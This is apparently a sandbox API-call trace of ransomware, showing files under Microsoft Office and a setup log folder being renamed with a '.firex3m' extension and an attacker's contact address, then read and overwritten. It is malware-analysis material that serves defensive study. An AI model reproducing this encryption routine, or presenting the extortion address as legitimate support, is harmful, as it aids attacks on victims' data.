SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.843] ReadFile (in: hFile=0x4e4, lpBuffer=0x712f718, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x712f718*, lpNumberOfBytesRead=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0267.959] GetProcessHeap () returned 0x630000 [0267.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0267.959] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.959] WriteFile (in: hFile=0x4e4, lpBuffer=0x711d230*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x711d230*, lpNumberOfBytesWritten=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0267.960] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.960] WriteFile (in: hFile=0x4e4, lpBuffer=0x712862f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x712862f*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0267.960] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.960] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0267.960] CloseHandle (hObject=0x4e4) returned 1 [0267.960] GetProcessHeap () returned 0x630000 [0267.960] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x711d230 | out: hHeap=0x630000) returned 1 [0267.960] GetProcessHeap () returned 0x630000 [0267.960] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x712f718 | out: hHeap=0x630000) returned 1 [0267.960] GetProcessHeap () returned 0x630000 [0267.960] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0267.961] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0267.961] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x65a9fb8e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11700, dwReserved0=0xa647496, dwReserved1=0x712f710, cFileName="DEEPBLUE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DEEPBL~2.FIR")) returned 0x6d4e00 [0267.961] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0267.961] Sleep (dwMilliseconds=0x1) [0269.966] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SNAP____.TTF", len=0x45 | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SNAP____.TTF") returned 1 [0269.966] GetProcessHeap () returned 0x630000 [0269.966] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b40) returned 0x6fe3bb0 [0269.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SNAP____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\snap____.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0269.967] CloseHandle (hObject=0x6f8) returned 1 [0269.967] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0269.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SNAP____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\snap____.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SNAP____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\snap____.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0269.969] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0269.969] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SNAP____.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a500ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a500ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a500ac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SNAP____.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SNAP__~1.FIR")) returned 0x6d5580 [0269.969] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0269.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SNAP____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\snap____.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0269.969] GetProcessHeap () returned 0x630000 [0269.969] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f32b60 [0269.970] GetProcessHeap () returned 0x630000 [0269.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f3df90 [0269.970] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.970] ReadFile (in: hFile=0x6f8, lpBuffer=0x6f32b60, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f32b60*, lpNumberOfBytesRead=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 67 os_tid = 0x1284 [0067.529] Sleep (dwMilliseconds=0x1) [0067.538] Sleep (dwMilliseconds=0x1) [0067.553] Sleep (dwMilliseconds=0x1) [0067.655] Sleep (dwMilliseconds=0x1) [0067.663] Sleep (dwMilliseconds=0x1) [0067.678] Sleep (dwMilliseconds=0x1) [0067.694] Sleep (dwMilliseconds=0x1) [0067.709] Sleep (dwMilliseconds=0x1) [0067.725] Sleep (dwMilliseconds=0x1) [0067.741] Sleep (dwMilliseconds=0x1) [0067.764] Sleep (dwMilliseconds=0x1) [0067.772] Sleep (dwMilliseconds=0x1) [0067.789] Sleep (dwMilliseconds=0x1) [0067.932] Sleep (dwMilliseconds=0x1) [0068.038] Sleep (dwMilliseconds=0x1) [0068.152] Sleep (dwMilliseconds=0x1) [0068.278] Sleep (dwMilliseconds=0x1) [0068.400] Sleep (dwMilliseconds=0x1) [0068.494] Sleep (dwMilliseconds=0x1) [0068.544] Sleep (dwMilliseconds=0x1) [0068.699] Sleep (dwMilliseconds=0x1) [0068.746] Sleep (dwMilliseconds=0x1) [0068.793] Sleep (dwMilliseconds=0x1) [0068.841] Sleep (dwMilliseconds=0x1) [0068.885] Sleep (dwMilliseconds=0x1) [0068.933] Sleep (dwMilliseconds=0x1) [0068.977] Sleep (dwMilliseconds=0x1) [0069.046] Sleep (dwMilliseconds=0x1) [0069.106] Sleep (dwMilliseconds=0x1) [0069.157] Sleep (dwMilliseconds=0x1) [0069.199] Sleep (dwMilliseconds=0x1) [0069.248] Sleep (dwMilliseconds=0x1) [0069.294] Sleep (dwMilliseconds=0x1) [0069.376] Sleep (dwMilliseconds=0x1) [0069.436] Sleep (dwMilliseconds=0x1) [0069.482] Sleep (dwMilliseconds=0x1) [0069.524] Sleep (dwMilliseconds=0x1) [0069.687] Sleep (dwMilliseconds=0x1) [0069.921] Sleep (dwMilliseconds=0x1) [0070.145] Sleep (dwMilliseconds=0x1) [0070.264] Sleep (dwMilliseconds=0x1) [0070.380] Sleep (dwMilliseconds=0x1) [0070.535] Sleep (dwMilliseconds=0x1) [0070.874] Sleep (dwMilliseconds=0x1) [0071.564] Sleep (dwMilliseconds=0x1) [0071.940] Sleep (dwMilliseconds=0x1) [0072.422] Sleep (dwMilliseconds=0x1) [0072.605] Sleep (dwMilliseconds=0x1) [0072.800] Sleep (dwMilliseconds=0x1) [0072.953] Sleep (dwMilliseconds=0x1) [0073.101] Sleep (dwMilliseconds=0x1) [0073.606] Sleep (dwMilliseconds=0x1) [0073.777] Sleep (dwMilliseconds=0x1) [0073.976] Sleep (dwMilliseconds=0x1) [0074.072] Sleep (dwMilliseconds=0x1) [0074.182] Sleep (dwMilliseconds=0x1) [0074.379] Sleep (dwMilliseconds=0x1) [0074.673] Sleep (dwMilliseconds=0x1) [0074.770] Sleep (dwMilliseconds=0x1) [0074.850] Sleep (dwMilliseconds=0x1) [0074.906] Sleep (dwMilliseconds=0x1) [0074.999] Sleep (dwMilliseconds=0x1) [0075.062] Sleep (dwMilliseconds=0x1) [0075.104] Sleep (dwMilliseconds=0x1) [0075.159] Sleep (dwMilliseconds=0x1) [0075.221] Sleep (dwMilliseconds=0x1) [0075.259] Sleep (dwMilliseconds=0x1) [0075.309] Sleep (dwMilliseconds=0x1) [0075.357] Sleep (dwMilliseconds=0x1) [0075.426] Sleep (dwMilliseconds=0x1) [0075.515] Sleep (dwMilliseconds=0x1) [0075.566] Sleep (dwMilliseconds=0x1) [0075.613] Sleep (dwMilliseconds=0x1) [0075.697] Sleep (dwMilliseconds=0x1) [0075.745] Sleep (dwMilliseconds=0x1) [0075.792] Sleep (dwMilliseconds=0x1) [0075.831] Sleep (dwMilliseconds=0x1) [0076.048] Sleep (dwMilliseconds=0x1) [0076.059] Sleep (dwMilliseconds=0x1) [0076.086] Sleep (dwMilliseconds=0x1) [0076.104] Sleep (dwMilliseconds=0x1) [0076.189] Sleep (dwMilliseconds=0x1) [0076.388] Sleep (dwMilliseconds=0x1) [0076.533] Sleep (dwMilliseconds=0x1) [0076.668] Sleep (dwMilliseconds=0x1) [0076.773] Sleep (dwMilliseconds=0x1) [0076.806] Sleep (dwMilliseconds=0x1) [0076.845] Sleep (dwMilliseconds=0x1) [0076.869] Sleep (dwMilliseconds=0x1) [0076.923] Sleep (dwMilliseconds=0x1) [0076.982] Sleep (dwMilliseconds=0x1) [0077.071] Sleep (dwMilliseconds=0x1) [0077.152] Sleep (dwMilliseconds=0x1) [0077.221] Sleep (dwMilliseconds=0x1) [0077.289] Sleep (dwMilliseconds=0x1) [0077.359] Sleep (dwMilliseconds=0x1) [0077.412] Sleep (dwMilliseconds=0x1) [0077.520] Sleep (dwMilliseconds=0x1) [0077.598] Sleep (dwMilliseconds=0x1) [0077.648] Sleep (dwMilliseconds=0x1) [0077.689] Sleep (dwMilliseconds=0x1) [0077.736] Sleep (dwMilliseconds=0x1) [0077.782] Sleep (dwMilliseconds=0x1) [0077.833] Sleep (dwMilliseconds=0x1) [0077.856] Sleep (dwMilliseconds=0x1) [0077.912] Sleep (dwMilliseconds=0x1) [0077.957] Sleep (dwMilliseconds=0x1) [0077.981] Sleep (dwMilliseconds=0x1) [0078.062] Sleep (dwMilliseconds=0x1) [0078.090] Sleep (dwMilliseconds=0x1) [0078.113] Sleep (dwMilliseconds=0x1) [0078.137] Sleep (dwMilliseconds=0x1) [0078.198] Sleep (dwMilliseconds=0x1) [0078.221] Sleep (dwMilliseconds=0x1) [0078.240] Sleep (dwMilliseconds=0x1) [0078.250] Sleep (dwMilliseconds=0x1) [0078.274] Sleep (dwMilliseconds=0x1) [0078.283] Sleep (dwMilliseconds=0x1) [0078.316] Sleep (dwMilliseconds=0x1) [0078.358] Sleep (dwMilliseconds=0x1) [0078.381] Sleep (dwMilliseconds=0x1) [0078.448] Sleep (dwMilliseconds=0x1) [0078.531] Sleep (dwMilliseconds=0x1) [0078.564] Sleep (dwMilliseconds=0x1) [0078.610] Sleep (dwMilliseconds=0x1) [0078.627] Sleep (dwMilliseconds=0x1) [0078.645] Sleep (dwMilliseconds=0x1) [0078.659] Sleep (dwMilliseconds=0x1) [0078.676] Sleep (dwMilliseconds=0x1) [0078.710] Sleep (dwMilliseconds=0x1) [0078.718] Sleep (dwMilliseconds=0x1) [0078.741] Sleep (dwMilliseconds=0x1) [0078.751] Sleep (dwMilliseconds=0x1) [0078.772] Sleep (dwMilliseconds=0x1) [0078.781] Sleep (dwMilliseconds=0x1) [0078.843] Sleep (dwMilliseconds=0x1) [0078.891] Sleep (dwMilliseconds=0x1) [0078.929] Sleep (dwMilliseconds=0x1) [0078.944] Sleep (dwMilliseconds=0x1) [0078.961] Sleep (dwMilliseconds=0x1) [0078.977] Sleep (dwMilliseconds=0x1) [0079.004] Sleep (dwMilliseconds=0x1) [0079.030] Sleep (dwMilliseconds=0x1) [0079.051] Sleep (dwMilliseconds=0x1) [0079.078] Sleep (dwMilliseconds=0x1) [0079.100] Sleep (dwMilliseconds=0x1) [0079.115] Sleep (dwMilliseconds=0x1) [0079.131] Sleep (dwMilliseconds=0x1) [0079.157] Sleep (dwMilliseconds=0x1) [0079.226] Sleep (dwMilliseconds=0x1) [0079.248] Sleep (dwMilliseconds=0x1) [0079.271] Sleep (dwMilliseconds=0x1) [0079.285] Sleep (dwMilliseconds=0x1) [0079.302] Sleep (dwMilliseconds=0x1) [0079.313] Sleep (dwMilliseconds=0x1) [0079.332] Sleep (dwMilliseconds=0x1) [0079.346] Sleep (dwMilliseconds=0x1) [0079.363] Sleep (dwMilliseconds=0x1) [0079.376] Sleep (dwMilliseconds=0x1) [0079.400] Sleep (dwMilliseconds=0x1) [0079.414] Sleep (dwMilliseconds=0x1) [0079.425] Sleep (dwMilliseconds=0x1) [0079.445] Sleep (dwMilliseconds=0x1) [0079.519] Sleep (dwMilliseconds=0x1) [0079.540] Sleep (dwMilliseconds=0x1) [0079.548] Sleep (dwMilliseconds=0x1) [0079.598] Sleep (dwMilliseconds=0x1) [0079.613] Sleep (dwMilliseconds=0x1) [0079.627] Sleep (dwMilliseconds=0x1) [0079.644] Sleep (dwMilliseconds=0x1) [0079.658] Sleep (dwMilliseconds=0x1) [0079.678] Sleep (dwMilliseconds=0x1) [0079.693] Sleep (dwMilliseconds=0x1) [0079.734] Sleep (dwMilliseconds=0x1) [0079.805] Sleep (dwMilliseconds=0x1) [0079.811] Sleep (dwMilliseconds=0x1) [0079.835] Sleep (dwMilliseconds=0x1) [0079.886] Sleep (dwMilliseconds=0x1) [0079.900] Sleep (dwMilliseconds=0x1) [0079.913] Sleep (dwMilliseconds=0x1) [0079.935] Sleep (dwMilliseconds=0x1) [0079.987] Sleep (dwMilliseconds=0x1) [0080.047] Sleep (dwMilliseconds=0x1) [0080.071] Sleep (dwMilliseconds=0x1) [0080.083] Sleep (dwMilliseconds=0x1) [0080.101] Sleep (dwMilliseconds=0x1) [0080.135] Sleep (dwMilliseconds=0x1) [0080.162] Sleep (dwMilliseconds=0x1) [0080.172] Sleep (dwMilliseconds=0x1) [0080.239] Sleep (dwMilliseconds=0x1) [0080.259] Sleep (dwMilliseconds=0x1) [0080.270] Sleep (dwMilliseconds=0x1) [0080.284] Sleep (dwMilliseconds=0x1) [0080.302] Sleep (dwMilliseconds=0x1) [0080.315] Sleep (dwMilliseconds=0x1) [0080.344] Sleep (dwMilliseconds=0x1) [0080.360] Sleep (dwMilliseconds=0x1) [0080.385] Sleep (dwMilliseconds=0x1) [0080.391] Sleep (dwMilliseconds=0x1) [0080.411] Sleep (dwMilliseconds=0x1) [0080.425] Sleep (dwMilliseconds=0x1) [0080.442] Sleep (dwMilliseconds=0x1) [0080.502] Sleep (dwMilliseconds=0x1) [0080.527] Sleep (dwMilliseconds=0x1) [0080.554] Sleep (dwMilliseconds=0x1) [0080.562] Sleep (dwMilliseconds=0x1) [0080.588] Sleep (dwMilliseconds=0x1) [0080.600] Sleep (dwMilliseconds=0x1) [0080.620] Sleep (dwMilliseconds=0x1) [0080.654] Sleep (dwMilliseconds=0x1) [0080.678] Sleep (dwMilliseconds=0x1) [0080.704] Sleep (dwMilliseconds=0x1) [0080.722] Sleep (dwMilliseconds=0x1) [0080.766] Sleep (dwMilliseconds=0x1) [0080.787] Sleep (dwMilliseconds=0x1) [0080.806] Sleep (dwMilliseconds=0x1) [0080.818] Sleep (dwMilliseconds=0x1) [0080.837] Sleep (dwMilliseconds=0x1) [0080.846] Sleep (dwMilliseconds=0x1) [0080.889] Sleep (dwMilliseconds=0x1) [0080.917] Sleep (dwMilliseconds=0x1) [0080.923] Sleep (dwMilliseconds=0x1) [0080.941] Sleep (dwMilliseconds=0x1) [0080.958] Sleep (dwMilliseconds=0x1) [0080.977] Sleep (dwMilliseconds=0x1) [0080.990] Sleep (dwMilliseconds=0x1) [0081.004] Sleep (dwMilliseconds=0x1) [0081.018] Sleep (dwMilliseconds=0x1) [0081.037] Sleep (dwMilliseconds=0x1) [0081.050] Sleep (dwMilliseconds=0x1) [0081.286] Sleep (dwMilliseconds=0x1) [0081.439] Sleep (dwMilliseconds=0x1) [0081.525] Sleep (dwMilliseconds=0x1) [0081.544] Sleep (dwMilliseconds=0x1) [0081.565] Sleep (dwMilliseconds=0x1) [0081.582] Sleep (dwMilliseconds=0x1) [0081.600] Sleep (dwMilliseconds=0x1) [0081.613] Sleep (dwMilliseconds=0x1) [0081.629] Sleep (dwMilliseconds=0x1) [0081.664] Sleep (dwMilliseconds=0x1) [0081.683] Sleep (dwMilliseconds=0x1) [0081.692] Sleep (dwMilliseconds=0x1) [0081.709] Sleep (dwMilliseconds=0x1) [0081.757] Sleep (dwMilliseconds=0x1) [0081.776] Sleep (dwMilliseconds=0x1) [0081.789] Sleep (dwMilliseconds=0x1) [0081.832] Sleep (dwMilliseconds=0x1) [0081.849] Sleep (dwMilliseconds=0x1) [0081.886] Sleep (dwMilliseconds=0x1) [0081.893] Sleep (dwMilliseconds=0x1) [0081.910] Sleep (dwMilliseconds=0x1) [0081.926] Sleep (dwMilliseconds=0x1) [0081.942] Sleep (dwMilliseconds=0x1) [0081.967] Sleep (dwMilliseconds=0x1) [0081.987] Sleep (dwMilliseconds=0x1) [0082.002] Sleep (dwMilliseconds=0x1) [0082.036] Sleep (dwMilliseconds=0x1) [0082.050] Sleep (dwMilliseconds=0x1) [0082.069] Sleep (dwMilliseconds=0x1) [0082.112] Sleep (dwMilliseconds=0x1) [0082.133] Sleep (dwMilliseconds=0x1) [0082.151] Sleep (dwMilliseconds=0x1) [0082.159] Sleep (dwMilliseconds=0x1) [0082.194] Sleep (dwMilliseconds=0x1) [0082.215] Sleep (dwMilliseconds=0x1) [0082.232] Sleep (dwMilliseconds=0x1) [0082.259] Sleep (dwMilliseconds=0x1) [0082.276] Sleep (dwMilliseconds=0x1) [0082.295] Sleep (dwMilliseconds=0x1) [0082.308] Sleep (dwMilliseconds=0x1) [0082.371] Sleep (dwMilliseconds=0x1) [0082.417] Sleep (dwMilliseconds=0x1) [0082.541] Sleep (dwMilliseconds=0x1) [0082.587] Sleep (dwMilliseconds=0x1) [0082.637] Sleep (dwMilliseconds=0x1) [0082.682] Sleep (dwMilliseconds=0x1) [0082.729] Sleep (dwMilliseconds=0x1) [0082.775] Sleep (dwMilliseconds=0x1) [0082.822] Sleep (dwMilliseconds=0x1) [0082.869] Sleep (dwMilliseconds=0x1) [0082.917] Sleep (dwMilliseconds=0x1) [0082.967] Sleep (dwMilliseconds=0x1) [0083.016] Sleep (dwMilliseconds=0x1) [0083.054] Sleep (dwMilliseconds=0x1) [0083.104] Sleep (dwMilliseconds=0x1) [0083.150] Sleep (dwMilliseconds=0x1) [0083.201] Sleep (dwMilliseconds=0x1) [0083.241] Sleep (dwMilliseconds=0x1) [0083.293] Sleep (dwMilliseconds=0x1) [0083.336] Sleep (dwMilliseconds=0x1) [0083.386] Sleep (dwMilliseconds=0x1) [0083.435] Sleep (dwMilliseconds=0x1) [0083.704] Sleep (dwMilliseconds=0x1) [0083.750] Sleep (dwMilliseconds=0x1) [0083.802] Sleep (dwMilliseconds=0x1) [0083.912] Sleep (dwMilliseconds=0x1) [0084.013] Sleep (dwMilliseconds=0x1) [0084.092] Sleep (dwMilliseconds=0x1) [0084.202] Sleep (dwMilliseconds=0x1) [0084.342] Sleep (dwMilliseconds=0x1) [0084.738] Sleep (dwMilliseconds=0x1) [0084.810] Sleep (dwMilliseconds=0x1) [0084.877] Sleep (dwMilliseconds=0x1) [0084.960] Sleep (dwMilliseconds=0x1) [0085.046] Sleep (dwMilliseconds=0x1) [0085.125] Sleep (dwMilliseconds=0x1) [0085.177] Sleep (dwMilliseconds=0x1) [0085.346] Sleep (dwMilliseconds=0x1) [0085.390] Sleep (dwMilliseconds=0x1) [0085.736] Sleep (dwMilliseconds=0x1) [0085.831] Sleep (dwMilliseconds=0x1) [0085.963] Sleep (dwMilliseconds=0x1) [0086.054] Sleep (dwMilliseconds=0x1) [0086.161] Sleep (dwMilliseconds=0x1) [0086.230] Sleep (dwMilliseconds=0x1) [0086.299] Sleep (dwMilliseconds=0x1) [0086.346] Sleep (dwMilliseconds=0x1) [0086.593] Sleep (dwMilliseconds=0x1) [0086.890] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", len=0x32 | out: pbstr=0x55fff7c*="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 1 [0086.890] GetProcessHeap () returned 0x630000 [0086.890] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0318, Size=0x10) returned 0x6b1268 [0086.890] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0086.962] CloseHandle (hObject=0x648) returned 1 [0086.962] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0086.962] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), lpNewFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.007] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.007] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PARTNE~1.FIR")) returned 0x6d5280 [0087.007] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0087.007] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0087.007] GetProcessHeap () returned 0x630000 [0087.007] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x41) returned 0x679240 [0087.007] GetProcessHeap () returned 0x630000 [0087.007] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x41) returned 0x679330 [0087.007] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.013] ReadFile (in: hFile=0x66c, lpBuffer=0x679240, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x679240*, lpNumberOfBytesRead=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0087.014] GetProcessHeap () returned 0x630000 [0087.014] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6859b0 [0087.014] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.014] WriteFile (in: hFile=0x66c, lpBuffer=0x679330*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x679330*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0087.014] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.014] WriteFile (in: hFile=0x66c, lpBuffer=0x67934f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x67934f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0087.014] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.014] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0087.015] CloseHandle (hObject=0x66c) returned 1 [0087.021] GetProcessHeap () returned 0x630000 [0087.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x679330 | out: hHeap=0x630000) returned 1 [0087.021] GetProcessHeap () returned 0x630000 [0087.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x679240 | out: hHeap=0x630000) returned 1 [0087.021] GetProcessHeap () returned 0x630000 [0087.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6859b0 | out: hHeap=0x630000) returned 1 [0087.021] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") 